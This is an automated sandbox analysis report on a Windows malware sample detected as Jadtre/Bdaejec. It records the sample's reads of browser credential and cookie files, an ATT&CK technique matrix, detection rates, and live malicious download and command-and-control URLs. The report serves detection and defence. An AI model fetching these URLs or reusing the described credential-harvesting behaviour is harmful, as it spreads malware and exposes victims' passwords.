Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,	7_2_0229394D
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	7_2_022949EA
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	7_2_02293F87

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Code function: 0_2_00411190 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_00411190

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

4_2_00419F90

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Code function: 0_2_00408FF0 VerLanguageNameA,SetDefaultCommConfigW,ReadConsoleOutputCharacterA,DebugBreak,GetVersionExW,SetCalendarInfoW,SetLastError,FreeResource,SetConsoleCursorInfo,VerifyVersionInfoA,BuildCommDCBW,CopyFileExW,GetCompressedFileSizeA,FindNextFileA,SetEvent,FreeResource,VerifyVersionInfoA,GetVersionExW,SetLastError,TerminateProcess,GetTimeZoneInformation,SetConsoleCursorInfo,FillConsoleOutputCharacterA,

0_2_00408FF0

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

0_2_00408E50

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Yara detected Bdaejec

Source: Yara match	File source: Process Memory Space: lvAVrO.exe PID: 7840, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: lvAVrO.exe PID: 7824, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\AlternateServices.txt	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\protections.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Google Profile.ico	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\parent.lock	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\xulstore.json	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\addonStartup.json.lz4	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\dtbqpus9.default\times.json	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\pkcs11.txt	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\extension-preferences.json	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\addons.json	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\sessionCheckpoints.json	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\webappsstore.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\targeting.snapshot.json	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\handlers.json	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\ExperimentStoreData.json	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\shield-preference-experiments.json	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\webappsstore.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\sessionstore.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\SiteSecurityServiceState.txt	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\favicons.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\favicons.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db-journal	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\containers.json	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\permissions.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\times.json	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\favicons.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\storage.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\trusted_vault.pb	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\search.json.mozlz4	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\webappsstore.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\content-prefs.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\key4.db	Jump to behavior

Remote Access Functionality

Yara detected Bdaejec

Source: Yara match	File source: Process Memory Space: lvAVrO.exe PID: 7840, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: lvAVrO.exe PID: 7824, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	3 Native API	1 Scripting	1 Exploitation for Privilege Escalation	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	12 System Time Discovery	1 Taint Shared Content	11 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	2 Data Encrypted for Impact
Credentials	Domains	Default Accounts	3 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	3 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	1 Access Token Manipulation	22 Software Packing	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Services File Permissions Weakness	211 Process Injection	1 DLL Side-Loading	NTDS	24 System Information Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	1 Masquerading	LSA Secrets	1 Query Registry	SSH	Keylogging	113 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Services File Permissions Weakness	21 Virtualization/Sandbox Evasion	Cached Domain Credentials	141 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	21 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	211 Process Injection	Proc Filesystem	2 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Services File Permissions Weakness	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	89%	Virustotal		Browse
E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	100%	ReversingLabs	Win32.Virus.Jadtre
E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	100%	Avira	W32/Jadtre.B
E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Program Files\7-Zip\Uninstall.exe	100%	Avira	W32/Jadtre.B
C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	100%	Avira	W32/Jadtre.B
C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	100%	Avira	W32/Jadtre.B
C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	100%	Avira	W32/Jadtre.B
C:\Program Files\7-Zip\Uninstall.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	100%	ReversingLabs	Win32.Virus.Jadtre
C:\Users\user\AppData\Local\Temp\lvAVrO.exe	92%	ReversingLabs	Win32.Trojan.Madeba

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
fuyt.org	15%	Virustotal	Browse
ddos.dnsnb8.net	13%	Virustotal	Browse
api.2ip.ua	6%	Virustotal	Browse
zerit.top	13%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://ddos.dnsnb8.net:799/cj//k3.rar	100%	URL Reputation	malware
http://ddos.dnsnb8.net:799/cj//k2.rar	100%	URL Reputation	malware
http://www.openssl.org/support/faq.html	0%	URL Reputation	safe
http://ddos.dnsnb8.net:799/cj//k1.rar	100%	URL Reputation	malware
http://www.youtube.com/	0%	URL Reputation	safe
http://ddos.dnsnb8.net:799/cj//k4.rar	100%	URL Reputation	phishing
http://fuyt.org/iles/1/build3.exe	0%	Avira URL Cloud	safe
http://fuyt.org/files/1/build3.exe$runer	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k4.rarB&	100%	Avira URL Cloud	malware
http://ddos.dnsnb8.net:799/cj//k1.rar%/	100%	Avira URL Cloud	malware
http://zerit.top/dl/build2.exe	100%	Avira URL Cloud	phishing
http://fuyt.org/files/1/build3.exe$runer	14%	Virustotal		Browse
http://zerit.top/dl/build2.exe	14%	Virustotal		Browse
http://ddos.dnsnb8.net:799/cj//k1.rar%/	12%	Virustotal		Browse
http://ddos.dnsnb8.net:799/cj//k1.rars	11%	Virustotal		Browse
http://fuyt.org/iles/1/build3.exe	13%	Virustotal		Browse
http://www.amazon.com/	0%	Virustotal		Browse
http://ddos.dnsnb8.net:799/cj//k1.rars	100%	Avira URL Cloud	phishing
https://api.2ip.ua/)	0%	Avira URL Cloud	safe
http://www.amazon.com/	0%	Avira URL Cloud	safe
https://dc.services.visualstudio.com/v2/track	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k4.rarw&	100%	Avira URL Cloud	phishing
https://api.2ip.ua/)	2%	Virustotal		Browse
http://www.twitter.com/	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k2.rara&	100%	Avira URL Cloud	phishing
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	0%	Avira URL Cloud	safe
http://fuyt.org/s	0%	Avira URL Cloud	safe
https://api.2ip.ua/geo.jsonx	0%	Avira URL Cloud	safe
https://dc.services.visualstudio.com/v2/track	0%	Virustotal		Browse
http://ddos.dnsnb8.net:799/cj//k1.rartC:	100%	Avira URL Cloud	malware
http://fuyt.org/test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDD	100%	Avira URL Cloud	malware
http://fuyt.org/s	13%	Virustotal		Browse
http://ddos.dnsnb8.net:799/cj//k1.rar(	100%	Avira URL Cloud	malware
http://www.twitter.com/	0%	Virustotal		Browse
https://api.2ip.ua/geo.jsonx	1%	Virustotal		Browse
http://www.reddit.com/	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k1.rartC:	12%	Virustotal		Browse
http://ddos.dnsnb8.net:799/cj//k1.rar&	100%	Avira URL Cloud	malware
https://api.2ip.ua/geo.json-Agent:	0%	Avira URL Cloud	safe
http://www.nytimes.com/	0%	Avira URL Cloud	safe
http://fuyt.org/files/1/build3.exe$run	0%	Avira URL Cloud	safe
https://api.2ip.ua/	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k1.rar&	9%	Virustotal		Browse
http://ddos.dnsnb8.net:799/cj//k1.rar(	9%	Virustotal		Browse
http://fuyt.org/files/1/build3.exe	0%	Avira URL Cloud	safe
http://%s:%d/%s/%sZwQuerySystemInformationntdll.dllNtSystemDebugControlSeDebugPrivilege%s%.8x.bat:DE	0%	Avira URL Cloud	safe
https://g.live.com/odclientsettings/Enterprisehttps://g.live.com/odclientsettings/MsitFasthttps://g.	0%	Avira URL Cloud	safe
http://fuyt.org/test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDD&first=true	100%	Avira URL Cloud	malware
http://zerit.top/dl/build2.exe:=	0%	Avira URL Cloud	safe
https://we.tl/t-NdDG3HIUZp	0%	Avira URL Cloud	safe
https://we.tl/t-NdDG3HIU	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k3.rarU	100%	Avira URL Cloud	phishing
http://www.reddit.com/	0%	Virustotal		Browse
http://ddos.dnsnb8.net:799/cj//k1.rarH	100%	Avira URL Cloud	phishing
https://api.2ip.ua/geo.json	0%	Avira URL Cloud	safe
http://fuyt.org/	0%	Avira URL Cloud	safe
https://api.2ip.ua/U	0%	Avira URL Cloud	safe
https://g.live.com/1rewlive5skydrive/win81https://g.live.com/1rewlive5skydrive/win8https://g.live.co	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k2.rary	100%	Avira URL Cloud	phishing
http://ddos.dnsnb8.net:799/cj//k5.rar	100%	Avira URL Cloud	phishing
http://zerit.top/dl/build2.exe$run	0%	Avira URL Cloud	safe
https://api.2ip.ua/geo.json8	0%	Avira URL Cloud	safe
https://api.2ip.ua/geo.json2j	0%	Avira URL Cloud	safe
https://api.2ip.ua/A	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k2.rar5C:	100%	Avira URL Cloud	malware
http://ddos.dnsnb8.net:799/cj//k5.rarsC:	100%	Avira URL Cloud	phishing
http://ddos.dnsnb8.net:799/cj//k1.rarR	100%	Avira URL Cloud	malware
http://ddos.dnsnb8.net:799/cj//k4.rart	100%	Avira URL Cloud	malware
http://www.wikipedia.com/	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k4.rarn	100%	Avira URL Cloud	phishing
http://ddos.dnsnb8.net:799/cj//k1.rarn	100%	Avira URL Cloud	phishing
http://fuyt.org/files/1/build3.exe$runnn	0%	Avira URL Cloud	safe
http://www.live.com/	0%	Avira URL Cloud	safe
http://fuyt.org/test1/get.php	100%	Avira URL Cloud	malware
http://ddos.dnsnb8.net:799/cj//k1.rarcC:	100%	Avira URL Cloud	phishing
http://www.google.com/	0%	Avira URL Cloud	safe
https://api.2ip.ua/geo.jsonB	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
fuyt.org	92.246.89.93	true	true	15%, Virustotal, Browse	unknown
ddos.dnsnb8.net	44.221.84.105	true	false	13%, Virustotal, Browse	unknown
api.2ip.ua	188.114.96.3	true	false	6%, Virustotal, Browse	unknown
zerit.top	92.246.89.93	true	true	13%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://ddos.dnsnb8.net:799/cj//k3.rar	true	URL Reputation: malware	unknown
http://ddos.dnsnb8.net:799/cj//k2.rar	true	URL Reputation: malware	unknown
http://ddos.dnsnb8.net:799/cj//k1.rar	true	URL Reputation: malware	unknown
https://api.2ip.ua/geo.json	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k5.rar	false	Avira URL Cloud: phishing	unknown
http://ddos.dnsnb8.net:799/cj//k4.rar	true	URL Reputation: phishing	unknown
http://fuyt.org/test1/get.php	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://ddos.dnsnb8.net:799/cj//k1.rar%/	lvAVrO.exe, 00000002.00000002.1435881124.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp, lvAVrO.exe, 00000002.00000003.1365547945.0000000000E25000.00000004.00000020.00020000.00000000.sdmp	true	12%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://zerit.top/dl/build2.exe	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.1832009736.0000000000755000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2536137038.00000000006F8000.00000004.00000020.00020000.00000000.sdmp	true	14%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://fuyt.org/files/1/build3.exe$runer	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2536137038.0000000000741000.00000004.00000020.00020000.00000000.sdmp	true	14%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k4.rarB&	lvAVrO.exe, 0000000F.00000002.1657818388.0000000000B85000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://fuyt.org/iles/1/build3.exe	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.1832009736.0000000000755000.00000004.00000020.00020000.00000000.sdmp	true	13%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k1.rars	lvAVrO.exe, 0000000F.00000003.1493269721.0000000000B47000.00000004.00000020.00020000.00000000.sdmp	true	11%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://api.2ip.ua/)	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2536137038.00000000006F8000.00000004.00000020.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.amazon.com/	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2430905791.0000000003270000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k4.rarw&	lvAVrO.exe, 0000000F.00000002.1657818388.0000000000B85000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://www.twitter.com/	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2431432894.0000000003270000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://dc.services.visualstudio.com/v2/track	wctC19B.tmp.8.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
